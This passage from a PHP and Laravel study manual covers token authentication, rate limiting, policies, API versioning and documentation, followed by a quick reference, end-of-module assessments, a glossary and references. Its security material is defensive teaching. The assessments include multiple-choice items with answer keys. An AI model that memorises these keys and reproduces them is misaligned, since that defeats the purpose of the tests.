{
    $credentials = $request->validate([
        'email'    => 'required|email',
        'password' => 'required',
    ]);

    $user = User::where('email', $credentials['email'])->first();

    if (!$user || !Hash::check($credentials['password'], $user->password)) {
        return response()->json(['message' => 'Invalid credentials'], 401);
    }

    $token = $user->createToken('api-token')->plainTextToken;

    return response()->json([
        'token' => $token,
        'user'  => ['id' => $user->id, 'name' => $user->name],
    ]);
}

public function logout(Request $request)
{
    $request->user()->currentAccessToken()->delete();
    return response()->json(['message' => 'Logged out']);
}
```

The client then sends the token with every request:

```
Authorization: Bearer 1|aBcDeFgHiJkLmNoPqRsTuVwXyZ...
```

Other security measures

Rate limiting — prevents brute-force attacks and abuse:

```
<?php
Route::middleware('throttle:60,1')->group(function () {
    // 60 requests per minute per user
});

Route::post('/login', [AuthController::class, 'login'])->middleware('throttle:5,1');
// Only 5 login attempts per minute
```

Authorisation with policies — controls what an authenticated user may do:

```
php artisan make:policy PostPolicy --model=Post
```

```
<?php
public function update(User $user, Post $post): bool
{
    return $user->id === $post->user_id;
}
```

```
// In the controller
$this->authorize('update', $post);
```

Built-in protections Laravel gives you. Eloquent uses prepared statements, so SQL injection is prevented by default. Blade's `{{ }}` escapes output, so XSS is prevented by default. The `VerifyCsrfToken` middleware checks every POST request, so CSRF is prevented by default. `Hash::make()` uses bcrypt, so passwords are hashed by default. **This is the strongest argument for using a framework at all:** the secure choice is the default, and you have to work to be insecure.

4.7 API versioning and documentation

Key reading 4.7.1 — API versioning and documentation

Why versioning matters. Once a mobile application or a partner system depends on your API, you cannot change it without breaking them. Versioning lets the old version keep working while a new one is introduced.

URI versioning — the most common approach:

```
<?php
Route::prefix('v1')->group(function () {
    Route::apiResource('posts', \App\Http\Controllers\Api\V1\PostController::class);
});

Route::prefix('v2')->group(function () {
    Route::apiResource('posts', \App\Http\Controllers\Api\V2\PostController::class);
});
// Producing /api/v1/posts and /api/v2/posts
```

Header versioning — the version is sent in a request header, keeping URLs clean but making the API harder to test by hand.

When to create a new version. A new version is needed for a **breaking change**: removing a field, renaming one, changing a data type, or changing the meaning of a response. Adding a new optional field is not breaking, and does not need a new version.

Documentation. An API nobody can understand is an API nobody can use. Document, for each endpoint: the URL and HTTP method, the required authentication, the parameters with their types and whether they are required, an example request, an example successful response, and the possible error responses.

```
### GET /api/v1/posts

Returns a paginated list of published posts.

**Authentication:** not required
**Rate limit:** 60 requests per minute

**Query parameters**

| Name     | Type    | Required | Description                     |
|----------|---------|----------|---------------------------------|
| page     | integer | no       | Page number, default 1          |
| per_page | integer | no       | Items per page, default 15, max 50 |

**Example response — 200 OK**

    {
      "success": true,
      "data": [
        { "id": 1, "title": "Getting started", "author": "Uwase Claire" }
      ],
      "meta": { "current_page": 1, "total": 42 }
    }

**Errors**

| Code | Meaning              |
|------|----------------------|
| 422  | Invalid parameters   |
| 429  | Rate limit exceeded  |
```

Tools that generate documentation include Swagger/OpenAPI (through the `l5-swagger` package), Scribe, and Postman collections.

Points to remember — Learning outcome 4

- A **framework** is pre-written code providing a foundation and structure. Most follow **MVC**: the Model handles data, the View handles presentation, the Controller handles input and coordinates the two.
- The benefits of a framework are faster development, better organisation, built-in security, and community support.
- **Composer** installs Laravel and manages its dependencies; **artisan** is the command-line tool you use for almost everything.
- The `.env` file holds environment-specific configuration and is excluded from version control. `APP_DEBUG` must be `false` in production.
- **Blade** escapes output by default with `{{ }}`; use `{!! !!}` only for HTML you trust.
- **Routes** map URLs to controllers. `Route::resource()` creates all seven CRUD routes at once. Name your routes and reference them by name.
- **Validation** happens in the controller with `$request->validate()`, or in a Form Request class when rules grow.

- **Eloquent** models represent tables; `$fillable` protects against mass assignment; route model binding fetches records automatically.
- APIs return **JSON** with correct **status codes**, authenticate with **tokens** through Sanctum, and are protected by **rate limiting** and **policies**.
- **Version** an API before making a breaking change, and document every endpoint.

Appendix A · PHP quick reference

Syntax — `<?php ... ?>` · `echo`, `print` · `;` at the end of every statement · `//`, `#`, `/* */` for comments · `$variable` · `CONSTANT` · `.` to concatenate

Types — integer · float · string · boolean · array · object · NULL · resource · `gettype()` · `var_dump()` · `(int)`, `(float)`, `(string)`, `(bool)` casts

Operators — `+ - * / % **` · `= += -= *= /= .=` · `== != === !== > < >= <= <=>` · `&& || ! xor` · `++ --` · `? :` · `??` · `?->`

Control — `if / elseif / else` · `switch / case / break / default` · `match` (PHP 8) · `for` · `while` · `do…while` · `foreach ($a as $k => $v)` · `break` · `continue`

Strings — `strlen()` · `strtoupper()` · `strtolower()` · `ucfirst()` · `ucwords()` · `trim()` · `substr()` · `strpos()` · `str_replace()` · `str_contains()` · `str_starts_with()` · `explode()` · `implode()` · `sprintf()` · `number_format()` · `nl2br()` · `strip_tags()` · `htmlspecialchars()`

Arrays — `count()` · `array_push()` · `array_pop()` · `array_shift()` · `array_unshift()` · `in_array()` · `array_search()` · `array_keys()` · `array_values()` · `array_merge()` · `array_slice()` · `array_map()` · `array_filter()` · `array_sum()` · `array_unique()` · `sort()` · `rsort()` · `asort()` · `ksort()` · `usort()`

Dates — `date("Y-m-d")` · `time()` · `strtotime("+1 week")` · `mktime()` · `date_diff()` · `new DateTime()` · `->format()`

Files — `fopen()` · `fread()` · `fwrite()` · `fclose()` · `fgets()` · `file_get_contents()` · `file_put_contents()` · `file()` · `file_exists()` · `unlink()` · `rename()` · `filesize()` · `filemtime()` · `mkdir()` · `scandir()` · `move_uploaded_file()`

Functions — `function name($p) { return $v; }` · default parameters · `&$reference` · `array ... $args` · type declarations · `fn($x) => $x * 2` (arrow functions)

OOP — `class` · `new` · `$this` · `public` / `protected` / `private` · `static` · `const` · `__construct()` · `__destruct()` · `extends` · `parent::` · `abstract` · `interface` · `implements` · `trait` · `use` · `instanceof` · `namespace`

Superglobals — `$_GET` · `$_POST` · `$_SERVER` · `$_SESSION` · `$_COOKIE` · `$_FILES` · `$_ENV` · `$_REQUEST` · `$GLOBALS`

Sessions and cookies — `session_start()` · `session_regenerate_id(true)` · `session_unset()` · `session_destroy()` · `setcookie()`

Security — `password_hash()` · `password_verify()` · `htmlspecialchars()` · `filter_var()` · `hash_equals()` · `random_bytes()` · `bin2hex()` · prepared statements

PDO — `new PDO($dsn, $u, $p, $opts)` · `->prepare()` · `->execute([...])` · `->fetch()` · `->fetchAll()` · `->rowCount()` · `->lastInsertId()` · `->beginTransaction()` · `->commit()` · `->rollBack()`

MySQLi — `mysqli_connect()` · `mysqli_query()` · `mysqli_prepare()` · `mysqli_stmt_bind_param()` · `mysqli_stmt_execute()` · `mysqli_fetch_assoc()` · `mysqli_num_rows()` · `mysqli_insert_id()` · `mysqli_close()`

Errors — `error_reporting(E_ALL)` · `ini_set('display_errors', 1)` · `try / catch / finally` · `throw new Exception()` · `set_error_handler()` · `set_exception_handler()`

Artisan (Laravel) — `serve` · `make:model X -mcr` · `make:controller` · `make:migration` · `make:request` · `make:policy` · `migrate` · `migrate:fresh --seed` · `route:list` · `tinker` · `cache:clear`

Appendix B · End assessments

Learning outcome 1 — End assessment

Q1. Choose the correct answer.

1. Which of the following is a valid PHP variable name?
   a) `$1st_variable` b) `$variablename` c) `$variable_name` d) `$variable name`
2. What is the output of this code?

```
$number = 5;
$text = "The number is $number";
echo $text;
```

a) The number is 5
b) The number is $number
c) The number is
d) The number is 5$

1. Which of the following is **not** a characteristic of a static website?
   a) Fixed content b) No server-side processing c) Fast loading d) Content generated from a database
2. What does `password_hash()` return?
   a) The password in reverse
   b) A one-way hash including a random salt
   c) An encrypted password that can be decrypted
   d) The MD5 of the password
3. What is the result of `[1, 2, 3] + [3, 4, 5]` in PHP?
   a) `[1,2,3,4,5]` b) `[4,6,8]` c) `[1,2,3]` d) `[3,4,5]`
4. Which function prevents cross-site scripting when printing user input?
   a) `strip_tags()` b) `htmlspecialchars()` c) `trim()` d) `addslashes()`
5. Which keyword makes a property accessible in a class and its children, but not outside?
   a) `public` b) `private` c) `protected` d) `static`
6. Which loop always executes its body at least once?
   a) `for` b) `while` c) `do…while` d) `foreach`

Q2. Short answer.

1. Differentiate a static website from a dynamic website, giving two examples of each.
2. List five characteristics of PHP.
3. Explain the difference between `==` and `===`, and say which you should prefer.
4. Name the three types of PHP array and give an example of when each is appropriate.
5. Explain the difference between passing by value and passing by reference.
6. Define encapsulation, inheritance, polymorphism and abstraction.

7. State three differences between a session and a cookie.

Q3. Practical. Write a PHP script that stores five students and their marks in an associative array, uses a function to calculate the average, and displays a table showing each student, their mark, and whether they passed (50 or more) or failed.

Answers to Q1: 1-c (b is also technically valid but c is the conventional answer), 2-a, 3-d, 4-b, 5-c, 6-b, 7-c, 8-c.

Learning outcome 2 — End assessment

Q1. Choose the correct answer.

1. Which is the correct defence against SQL injection?
   a) `addslashes()` b) Prepared statements c) `htmlspecialchars()` d) Validating the length
2. What does CRUD stand for?
   a) Create, Read, Update, Delete
   b) Connect, Retrieve, Use, Disconnect
   c) Create, Run, Update, Deploy
   d) Cache, Read, Upload, Download
3. Which extension supports several different database systems?
   a) MySQLi b) PDO c) mysql d) SQLite3
4. Which type of error stops the script from running at all?
   a) Notice b) Warning c) Parse d) Deprecated
5. Authentication answers which question?
   a) What are you allowed to do? b) Who are you? c) Where are you? d) When did you log in?
6. Which function should be called immediately after a successful login?
   a) `session_destroy()` b) `session_regenerate_id(true)` c) `setcookie()` d) `session_unset()`

Q2. Short answer.

1. Differentiate database drives from database drivers.
2. Give three differences between MySQLi and PDO, and say which you would choose for a new project and why.
3. Explain SQL injection with an example, and show the correct fix.
4. Differentiate XSS from CSRF, giving the defence for each.
5. Name the four types of PHP error, with an example of each.
6. Explain the difference between authentication and authorisation.

Q3. Practical. Build a complete CRUD application for a `students` table with the columns id, name, email, class and registration date. It must use PDO with prepared statements, validate all input, escape all output, and redirect after every write.

Answers to Q1: 1-b, 2-a, 3-b, 4-c, 5-b, 6-b.

Learning outcome 3 — End assessment

Q1. Short answer.

1. What is a CMS, and what problem does it solve?
2. Name four key concepts of a CMS.
3. Describe the folder structure recommended for a PHP CMS and what belongs in each folder.
4. Explain IDOR with an example, and show how to prevent it.
5. Why should a “remember me” cookie never contain a password or a `logged_in` flag?
6. What causes the error “Cannot modify header information — headers already sent”, and how is it fixed?

Q2. Practical. Build a small CMS with subjects and pages, dynamic navigation generated from the database, an admin login using `password_hash()`, visibility flags so hidden content is shown only to logged-in editors, and a logout that clears both the session and the cookies.

Learning outcome 4 — End assessment

Q1. Choose the correct answer.

1. In MVC, which component handles interaction with the database?
   a) Model b) View c) Controller d) Route
2. Which command creates a Laravel project?
   a) `php artisan new app` b) `composer create-project laravel/laravel my-app` c) `laravel install` d) `npm install laravel`
3. Which file must never be committed to version control?
   a) `composer.json` b) `routes/web.php` c) `.env` d) `artisan`
4. In Blade, what does `{{ $name }}` do that `{!! $name !!}` does not?
   a) Nothing, they are identical b) It escapes the output against XSS c) It is faster d) It caches the value
5. Which HTTP status code should an API return after successfully creating a resource?
   a) 200 b) 201 c) 204 d) 302
6. `Route::resource('posts', PostController::class)` creates how many routes?
   a) 3 b) 5 c) 7 d) 10

Q2. Short answer.

1. Explain the MVC pattern and the responsibility of each component.
2. List four benefits of using a PHP framework.
3. What is the `.env` file for, and why is `APP_DEBUG=true` dangerous in production?
4. Explain route model binding and what it saves you writing.
5. Name six Laravel validation rules and what each checks.
6. Why do APIs need versioning, and what counts as a breaking change?

Q3. Practical. Build a Laravel application managing blog posts, with full CRUD, validation, authentication, a policy ensuring users can only edit their own posts, and a versioned JSON API with token authentication.

Answers to Q1: 1-a, 2-b, 3-c, 4-b, 5-b, 6-c.

Appendix C · Glossary

API — an interface allowing two applications to communicate, usually exchanging JSON over HTTP. **Artisan** — Laravel's command-line tool. **Blade** — Laravel's templating engine. **Composer** — PHP's dependency manager. **Constant** — a named value that cannot change, defined with `define()` or `const`. **Controller** — in MVC, the component handling input and coordinating model and view. **CRUD** — Create, Read, Update, Delete. **CSRF** — an attack making a user's browser send a request they did not intend. **Eloquent** — Laravel's object-relational mapper. **Encapsulation** — bundling data and the methods that act on it, controlling access with visibility keywords. **Escaping** — converting characters so they are displayed rather than interpreted. **Framework** — pre-written code providing structure and common components. **Hash** — a one-way transformation of a password; it cannot be reversed. **IDOR** — Insecure Direct Object Reference: reaching another user's data by changing an ID. **Middleware** — code that filters an HTTP request before it reaches the controller. **Migration** — a versioned file describing a change to the database schema. **Model** — in MVC, the component representing data and business logic. **MVC** — Model-View-Controller, an architectural pattern separating concerns. **PDO** — PHP Data Objects, a database-independent access layer. **Prepared statement** — a query whose structure is sent separately from its data, preventing SQL injection. **Route** — a mapping from a URL and HTTP verb to code that handles it. **Salt** — random data added to a password before hashing, so identical passwords produce different hashes. **Sanitisation** — cleaning input by removing or converting unwanted characters. **Session** — server-side storage identifying a user across requests. **SQL injection** — an attack inserting SQL commands through user input. **Superglobal** — a PHP variable available in every scope, such as `$_POST`. **Validation** — checking that input meets the required criteria before it is accepted. **View** — in MVC, the component producing what the user sees. **XSS** — Cross-Site Scripting: injecting script that runs in another user's browser.

Appendix D · References

PHP. *Official manual and function reference.* php.net/manual — the definitive source for every function in this module.

Laravel. *Official documentation.* laravel.com/docs — exceptionally well written; read it rather than tutorials.

W3Schools. *PHP Tutorial.* w3schools.com/php

MySQL. *Reference manual.* dev.mysql.com/doc

OWASP. *Top Ten web application security risks.* owasp.org/www-project-top-ten — the industry reference for the vulnerabilities covered in 1.3 and 2.3.

OWASP. *PHP Configuration Cheat Sheet.* cheatsheetseries.owasp.org

PHP The Right Way. *phptherightway.com* — modern PHP practice, freely available.

Composer. *Documentation.* getcomposer.org/doc

Apache Friends. *XAMPP documentation.* apachefriends.org

phpMyAdmin. *Documentation.* phpmyadmin.net/docs

Stauffer, M. *Laravel: Up & Running*, 3rd edition. O'Reilly.

Lockhart, J. *Modern PHP: New Features and Good Practices.* O'Reilly.

SWDPP401 PHP Programming — Study Edition

Derived from the trainee's manual for TVET Certificate IV in Software Development, module SWDPP401, published by the **Rwanda TVET Board (RTB)** in October 2024, and developed with the support of **KOICA** through the **TQUM Project**.

Original content © Rwanda TVET Board. RTB owns the copyright to the trainee's and trainer's manuals; training providers may reproduce them in part or in full for training purposes only, with acknowledgement of RTB copyright. Any other use must be referred to RTB. Web: www.rtb.gov.rw

This study edition reorganises that material for learning use. It merges sections that were printed more than once, corrects the errors identified in the note at the front — chiefly the array union result, the uppercase `<?PHP` tag, the `open()` function name and the case-sensitive phpMyAdmin URL — and above all it writes out in full the hundreds of code examples that appeared in the original only as screenshots, so that a student reading this document can type and run every example in it. All original learning content has been retained.